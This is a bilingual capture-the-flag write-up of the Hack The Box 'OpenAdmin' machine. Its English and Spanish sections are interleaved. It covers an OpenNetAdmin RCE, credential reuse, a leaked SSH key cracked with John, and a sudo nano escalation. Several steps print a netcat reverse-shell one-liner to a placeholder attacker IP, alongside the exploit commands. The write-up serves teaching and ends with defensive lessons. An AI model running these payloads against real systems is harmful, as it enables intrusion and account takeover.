OpenAdmin
Executive summary — OpenAdmin is an Easy Linux box with a long, instructive credential-reuse chain: an unauthenticated RCE in OpenNetAdmin 18.1.1 (CVE-2019-3980); cleartext DB credentials reused for SSH (
jimmy); an internal web app, reachable only onlocalhost, that leaksjoanna's SSH key (whose passphrase we crack with John); and a final escalation viasudo nano(GTFOBins). An ONA RCE → jimmy → joanna → sudo nano → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.183 |
Attack map
[80/HTTP] Apache 2.4.29 → dirsearch → /music → /ona/ = OpenNetAdmin 18.1.1
│ CVE-2019-3980 (EDB-47691) — unauthenticated xajax command injection → www-data
▼
[FILE] database_settings.inc.php → ona_sys:n1nj4W4rri0R! (cleartext, reused)
▼
[SSH] jimmy
│ internal group → /var/www/internal (main.php) served on localhost:52846
│ main.php leaks joanna's id_rsa (shell_exec)
▼
[SSH] joanna (cracked «bloodninjas» passphrase with John/rockyou) → user.txt
│ sudo -l → (ALL) NOPASSWD: /bin/nano /opt/priv
▼
[ROOT] nano → Ctrl+R Ctrl+X («execute command», GTFOBins) → root reverse shell → root.txt
1. Reconnaissance
We start with the basics: which ports are open and what software is listening on each. That decides where we go next.
nmap -A 10.129.23.183
22/tcp open ssh OpenSSH
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
Only two ports: SSH and an Apache server showing Ubuntu's default page, nothing interesting at first glance. With SSH not a reasonable brute-force target, port 80 is the vector.
Resumen ejecutivo — OpenAdmin es un Linux Easy con una cadena larga y muy educativa de reutilización de credenciales: una RCE sin autenticación en OpenNetAdmin 18.1.1 (CVE-2019-3980); credenciales de BD en claro que se reutilizan para SSH (
jimmy); una app web interna, solo accesible enlocalhost, que filtra la clave SSH dejoanna(cuya passphrase se craquea con John); y una escalada final víasudo nano(GTFOBins). Recorrido ONA RCE → jimmy → joanna → sudo nano → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.183 |
Mapa del ataque
[80/HTTP] Apache 2.4.29 → dirsearch → /music → /ona/ = OpenNetAdmin 18.1.1
│ CVE-2019-3980 (EDB-47691) — command injection vía xajax, sin auth → www-data
▼
[FILE] database_settings.inc.php → ona_sys:n1nj4W4rri0R! (en claro, reutilizada)
▼
[SSH] jimmy
│ grupo internal → /var/www/internal (main.php) sirviendo en localhost:52846
│ main.php filtra el id_rsa de joanna (shell_exec)
▼
[SSH] joanna (passphrase «bloodninjas» crackeada con John/rockyou) → user.txt
│ sudo -l → (ALL) NOPASSWD: /bin/nano /opt/priv
▼
[ROOT] nano → Ctrl+R Ctrl+X («execute command», GTFOBins) → reverse shell de root → root.txt
1. Reconocimiento
Empezamos por lo básico: qué puertos están abiertos y qué versión de software corre en cada uno. Eso decide por dónde seguimos.
nmap -A 10.129.23.183
22/tcp open ssh OpenSSH
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
Solo dos puertos: SSH y un Apache con la página por defecto de Ubuntu, sin nada interesante a simple vista. Con SSH cerrado a fuerza bruta razonable, el vector es el 80.
2. Web enumeration
Apache's default page says nothing on its own — we need to brute-force directories to find what the server actually serves.
dirsearch -u http://10.129.23.183/ -e / -t 50
/music (301) → redirects to /ona/
/music is a decoy/redirect: clicking Login on that page lands on /ona/, which turns out to be OpenNetAdmin 18.1.1, an open-source network management panel.
Why the version matters: ONA 18.1.1 has a public, unauthenticated RCE (CVE-2019-3980, Exploit-DB 47691), disclosed back in 2019. Pinning down the exact software version is the step that turns «there's a web panel» into «there's a known exploit».
3. Foothold — OpenNetAdmin 18.1.1 RCE (CVE-2019-3980)
The vulnerability lives in ONA's xajax AJAX interface: the xajaxargs[] parameter of the xajax=window_submit endpoint doesn't sanitize input before passing it to a shell call, so a crafted POST to /ona/ injects system commands without needing to log in. We use the public PoC exploit, which abuses that endpoint to fire a reverse shell.
nc -lvnp 443
python3 exploit.py exploit http://10.129.23.183/ona/
The exploit injects the following payload into the vulnerable parameter:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
$ whoami
www-data
Shell confirmed as www-data.
4. Escalate to jimmy — reused DB credentials
The first place to check after a foothold in a PHP application is its configuration: there are almost always database credentials stored in cleartext somewhere.
cat /opt/ona/www/local/config/database_settings.inc.php
ona_sys : n1nj4W4rri0R!
/home has two system users: jimmy and joanna. Application passwords getting reused for system accounts is common enough to be worth trying over SSH:
ssh jimmy@10.129.23.183
jimmy@10.129.23.183's password: n1nj4W4rri0R!
jimmy@openadmin:~$
Access confirmed as jimmy.
5. Escalate to joanna — internal app leaking her SSH key
As jimmy, we enumerate the filesystem for anything out of the ordinary and a second vhost shows up:
ls -la /var/www/
drwxrwx--- 2 jimmy internal 4096 internal
The
/var/www/internaldirectory is only readable/executable by theinternalgroup — andjimmyis a member. Inside, there's a second PHP application that was never meant for public access.
cat /var/www/internal/main.php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
In other words: visiting this app dumps joanna's private SSH key. The catch is it isn't exposed on external port 80 (Apache only serves ONA there). Enumerating what listens only on the server's own localhost turns up port 52846:
ss -lntp
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
Since it's bound to localhost, we can simply request it from inside the server itself:
curl -s localhost:52846/main.php
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
We save the output to a local file (joanna-ssh). The key is passphrase-encrypted, so we convert it to a crackable hash and attack it with John and rockyou.txt:
python3 /usr/share/john/ssh2john.py joanna-ssh > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
bloodninjas (joanna-ssh)
Cracked passphrase: bloodninjas. With the private key and its passphrase we can now authenticate as
joannawithout ever needing her system password.
chmod 600 joanna-ssh
ssh joanna@10.129.23.183 -i joanna-ssh
Enter passphrase for key 'joanna-ssh': bloodninjas
joanna@openadmin:~$ cat user.txt
user.txt obtained.
6. Escalate to root — sudo nano
With user-level access, the standard next step is checking what the account can run as root without a password.
sudo -l
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Why this is root (GTFOBins):
nanoships with a «execute command» function (Ctrl+Rto read a file, followed byCtrl+Xto execute a command instead of inserting text). Sincejoannacan runnanothroughsudowith no password, any command launched from that menu runs as root. This is the same abuse GTFOBins documents for editors with this feature.
sudo /bin/nano /opt/priv
Inside nano:
Ctrl+R— «read file».Ctrl+X— instead of giving it a file path, this executes a command.- Command executed: the same reverse shell from step 3, with a fresh listener on port 443.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
nc -lvnp 443
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
# whoami
root
# cat /root/root.txt
root.txt obtained. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | OpenNetAdmin 18.1.1 | Unauthenticated command injection via xajax (CVE-2019-3980 / EDB-47691) | Shell as www-data |
| Lateral | ONA config on disk | Cleartext DB credentials, reused as a system password | SSH as jimmy |
| Lateral | Internal app (main.php, port 52846) | Leaks joanna's private SSH key (passphrase crackable with rockyou) | SSH as joanna, user.txt |
| PrivEsc | sudo /bin/nano | nano's «execute command» function abusable via NOPASSWD sudoers entry (GTFOBins) | Root, root.txt |
Lessons learned
- Outdated, unpatched software (ONA 18.1.1, from 2019) is equivalent to a ready-made public exploit: tracking software versions and inventory on exposed services matters as much as the firewall in front of them.
- Never store database credentials in cleartext in config files readable by the web process, and especially never reuse them across an application and system accounts.
- A service only listening on
localhostis not a security boundary by itself: any user with a shell on the box can reach it. If an internal app exposes secrets (like a private key), the risk is still there. - SSH keys with weak passphrases are crackable just like any other hash:
ssh2johnplus a large wordlist (rockyou) should always be the first thing you try. - Audit sudoers entries carefully: granting
NOPASSWDover a text editor (nano, vi, vim…) is equivalent to granting root, due to their documented GTFOBins shell escapes.
2. Enumeración web
La página por defecto de Apache no dice nada — hay que forzar directorios para encontrar lo que el servidor sirve de verdad.
dirsearch -u http://10.129.23.183/ -e / -t 50
/music (301) → redirige a /ona/
/music es un señuelo/redirección: al pulsar Login en esa página se acaba en /ona/, que resulta ser OpenNetAdmin 18.1.1, un gestor de red open-source.
Por qué importa la versión: ONA 18.1.1 tiene una RCE pública sin autenticación (CVE-2019-3980, Exploit-DB 47691), publicada en 2019. Fijar la versión exacta del software encontrado es el paso que convierte «hay un panel web» en «hay un exploit conocido».
3. Foothold — RCE en OpenNetAdmin 18.1.1 (CVE-2019-3980)
La vulnerabilidad está en la interfaz AJAX xajax de ONA: el parámetro xajaxargs[] del endpoint xajax=window_submit no sanea la entrada antes de pasarla a una llamada de shell, así que un POST a /ona/ manipulado inyecta comandos del sistema sin necesitar login. Usamos la PoC pública del exploit, que aprovecha ese endpoint para lanzar una reverse shell.
nc -lvnp 443
python3 exploit.py exploit http://10.129.23.183/ona/
El exploit inyecta el siguiente payload en el parámetro vulnerable:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
$ whoami
www-data
Shell como www-data confirmada.
4. Escalada a jimmy — credenciales de BD reutilizadas
El primer sitio donde mirar tras un foothold en una aplicación PHP es su configuración: casi siempre hay credenciales de base de datos guardadas en claro.
cat /opt/ona/www/local/config/database_settings.inc.php
ona_sys : n1nj4W4rri0R!
En /home hay dos usuarios del sistema: jimmy y joanna. Es habitual que una contraseña de aplicación se reutilice para una cuenta de sistema, así que la probamos por SSH:
ssh jimmy@10.129.23.183
jimmy@10.129.23.183's password: n1nj4W4rri0R!
jimmy@openadmin:~$
Acceso confirmado como jimmy.
5. Escalada a joanna — app interna que filtra su clave SSH
Como jimmy, enumeramos el sistema de ficheros en busca de algo fuera de lo común y aparece un segundo vhost:
ls -la /var/www/
drwxrwx--- 2 jimmy internal 4096 internal
El directorio
/var/www/internalsolo es legible/ejecutable por el grupointernal— yjimmypertenece a él. Dentro hay una segunda aplicación PHP que no está pensada para acceso público.
cat /var/www/internal/main.php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
Es decir: esta app, al visitarla, vuelca la clave privada SSH de joanna. El problema es que no está expuesta en el puerto 80 externo (Apache solo sirve ONA ahí). Enumerando los puertos que escuchan solo en localhost del propio servidor aparece el 52846:
ss -lntp
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
Como está en localhost, basta con pedirlo desde dentro del propio servidor:
curl -s localhost:52846/main.php
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
Guardamos la salida en un fichero local (joanna-ssh). La clave está cifrada con passphrase, así que la convertimos a un hash crackeable y la atacamos con John y rockyou.txt:
python3 /usr/share/john/ssh2john.py joanna-ssh > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
bloodninjas (joanna-ssh)
Passphrase crackeada: bloodninjas. Con la clave privada y su passphrase ya podemos autenticarnos como
joannasin necesitar su contraseña de sistema.
chmod 600 joanna-ssh
ssh joanna@10.129.23.183 -i joanna-ssh
Enter passphrase for key 'joanna-ssh': bloodninjas
joanna@openadmin:~$ cat user.txt
user.txt obtenido.
6. Escalada a root — sudo nano
Con acceso de usuario, el siguiente paso estándar es comprobar qué puede ejecutar la cuenta como root sin contraseña.
sudo -l
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Por qué esto es root (GTFOBins):
nanoincluye una función de «ejecutar comando» (Ctrl+Rpara leer un fichero, seguido deCtrl+Xpara ejecutar un comando en vez de insertar texto). Comojoannapuede corrernanovíasudosin contraseña, cualquier comando lanzado desde ese menú se ejecuta como root. Es el mismo abuso documentado en GTFOBins para editores con esta función.
sudo /bin/nano /opt/priv
Dentro de nano:
Ctrl+R— «read file» (leer fichero).Ctrl+X— en vez de darle una ruta de fichero, esto ejecuta un comando.- Comando ejecutado: la misma reverse shell del paso 3, con un nuevo listener en el 443.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
nc -lvnp 443
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
# whoami
root
# cat /root/root.txt
root.txt obtenido. Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | OpenNetAdmin 18.1.1 | Command injection sin auth vía xajax (CVE-2019-3980 / EDB-47691) | Shell como www-data |
| Mov. lateral | Config de ONA en disco | Credenciales de BD en claro, reutilizadas como contraseña de sistema | SSH como jimmy |
| Mov. lateral | App interna (main.php, puerto 52846) | Filtra la clave SSH privada de joanna (passphrase crackeable con rockyou) | SSH como joanna, user.txt |
| PrivEsc | sudo /bin/nano | Función «execute command» de nano abusable con sudoers NOPASSWD (GTFOBins) | Root, root.txt |
Lecciones aprendidas
- Software desactualizado y sin parchear (ONA 18.1.1, de 2019) equivale a un exploit público listo para usar: mantener versión e inventario de software expuesto es tan importante como el firewall.
- Nunca guardes credenciales de base de datos en texto claro en ficheros de configuración legibles por el proceso web, y menos aún las reutilices entre una aplicación y cuentas de sistema.
- Que un servicio solo escuche en
localhostno es una medida de seguridad por sí sola: cualquier usuario con shell en la máquina puede alcanzarlo. Si una app interna expone secretos (como una clave privada), el riesgo sigue ahí. - Las claves SSH con passphrase débil son crackeables igual que cualquier hash:
ssh2john+ una wordlist grande (rockyou) es la primera prueba, siempre. - Auditar los sudoers con cuidado: dar
NOPASSWDsobre un editor de texto (nano, vi, vim…) es equivalente a dar root, por sus escapes a shell documentados en GTFOBins.